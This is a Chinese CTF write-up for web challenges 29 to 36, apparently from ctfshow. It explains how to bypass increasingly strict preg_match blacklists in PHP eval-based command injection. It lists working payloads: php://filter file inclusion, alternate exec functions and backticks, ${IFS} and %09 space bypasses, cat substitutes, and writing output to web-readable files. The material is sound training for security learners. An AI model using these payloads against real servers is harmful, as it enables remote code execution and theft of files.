目录
web29
方法一:include伪协议包含文件读取
方法二:写入文件
方法三:通识符
web30
方法一:filter伪协议文件包含读取
方法二:命令执行函数绕过
方法三:写入文件
web31
方法一:filter伪协议
方法二:空格及cat绕过
web32
方法一:filter伪协议
web33
web34
web35
web36
web29~36的考点主要是一些常见的正则表达式的绕过
web29
if(!preg_match("/flag/i", $c))
分析代码,这是一个preg_match函数的绕过,i表示不区分大小写字母,即无论是大写的还是小写的‘flag’字符都会被过滤掉。
方法一:include伪协议包含文件读取
首先查看有一些什么文件:
?c=echo ''?><?php system('ls');
echo ''?>: 输出一个空字符串并结束 PHP 代码块。注意是两个单引号!!!
<?php system('ls');
开始一个新的 PHP 代码块并执行 ls
命令,这会列出当前目录的文件。
可以看到当前目录下面有flag.php,我们可以采用include伪协议包含文件读取。
?c=echo ''?><?php include"$_GET[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
通过get方式读入参数url,值得注意的是,echo后面的是两个单引号‘,而include后面的是双引号“。
执行,得到一串base64编码的内容
解码得到:
即为flag.php文件的内容,成功拿到flag。
方法二:写入文件
?c=print_r(scandir("."));
print_r()函数,表示格式化输出括号内的内容
scandir(".")
:这是一个 PHP 函数,用于扫描指定目录并返回该目录下的文件和子目录的数组。"."
表示当前目录
构造payload:
?c=system('cat *php>>5.txt);
*php表示后缀为php,这里表示将后缀为php的文件全部写入5.txt中,然后我们去访问/5.txt,就可以看到flag.php index.php的内容全部写入到了5.txt文件当中了。
方法三:通识符
?c=system('tac f*');
*是通识匹配符,会匹配所有f开头的文件名,这里会匹配到flag.php
web30
if(!preg_match("/flag|system|php/i", $c))
过滤了flag,system,php,不区分大小写字母
方法一:filter伪协议文件包含读取
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
方法二:命令执行函数绕过
能实现命令执行的函数很多,system只是其中一个,但是system有输出的功能,但是其他的函数没有,可以配合使用echo等函数来使用。
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号` 同shell_exec()
exec()函数默认只返回命令的最后一行输出,并且不会直接回显结果。它可以通过第二个参数获取所有输出,但如果不捕获输出并直接在页面上显示,就不会有回显。
print_r
是一个 PHP 函数,用于打印数组或对象的可读信息。它可以将数据结构的内容以易于理解的格式输出,适合用于调试。与 var_dump()
不同,print_r()
更加简洁,主要关注值而非类型。
例如:
$array = [1, 2, 3];
print_r($array);
//输出为:
Array
(
[0] => 1
[1] => 2
[2] => 3
)
shell_exec()
会返回命令的完整输出作为字符串,因此直接将其输出到页面时,会显示所有内容。
可以构造以下payload:
?c=passthru('tac f*');
?c=echo exec('tac f*', $output); print_r($output);
?c=echo shell_exec('tac f*');
?c=$handle = popen('tac f*', 'r'); $output = fread($handle, 2096); pclose($handle); echo $output;
?c=echo `tac f*`;
方法三:写入文件
由于system函数被过滤了,我们就用反引号来代替,将f开头的文件内容写入5.txt文件当中,访问5.txt文件即可得到flag
?c=echo `tac f*>>5.txt`;
web31
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))
flag
: 匹配字符串flag
。system
: 匹配字符串system
(防止用户调用system()
函数)。php
: 匹配字符串php
(防止执行 PHP 相关的命令)。cat
: 匹配字符串cat
(防止使用cat
命令查看文件内容)。sort
: 匹配字符串sort
(防止使用sort
命令)。shell
: 匹配字符串shell
(防止使用与shell
相关的命令)。\.
: 匹配.
(防止用户使用文件路径,比如../
)。- : 匹配空格(防止使用空格构造复杂命令)。
\'
: 匹配单引号'
(防止输入包含单引号的内容)
可以看到这道题过滤了更多的字符,
方法一:filter伪协议
?c=include"$_GET[url]"?>&url=php://filter/convert.base64-encode/resource=flag.php
可能会有小伙伴会好奇,为什么明明构造的payload里面明明有php和flag,但是却还是成功绕过了preg_match函数的过滤呢,这是因为我们的正则表达式匹配的是参数c的内容,但是参数$c的内容为include"$_GET[url]";,这里 $_GET['url']
指向的是 php://filter/read=convert.base64-encode/resource=flag.php
。由于正则表达式没有检测 $_GET['url']
,所以 "flag"
和 "php"
并没有在正则中被捕获,因此绕过了限制。
方法二:空格及cat绕过
过滤了空格符,可以有以下几种方式绕过
%09 符号需要php环境
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
cat被过滤:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
可以构造payload
?c=echo%09`tac%09f*`;
?c=echo%09`tail%09f*`;
这道题感觉很奇怪,很多没有被过滤掉的都没有回显。
web32
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))
过滤的字符:flag,system,php,cat,sort,shell,.,空格,',`,echo,;,(
感觉都要被过滤完了。
方法一:filter伪协议
哈哈哈哈这招屡试不爽,这次依旧能行
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
但是他方法目前还没想到
web33
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,在32题的基础上,增加了对双引号的过滤"
于是,我们可以改用数组来进行参数的绕过
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web34
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))
过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,
加了一个冒号,对payload没什么影响,用33题的payload就可以做出来
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web35
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))
过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,<,=虽然又过滤了<和=符号,但是并没有过滤掉payload里面的关键符号,因此还是可以继续用这个payload
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web36
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))
过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,<,=,/,数字0-9,我们把参数改成字母就绕过了
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php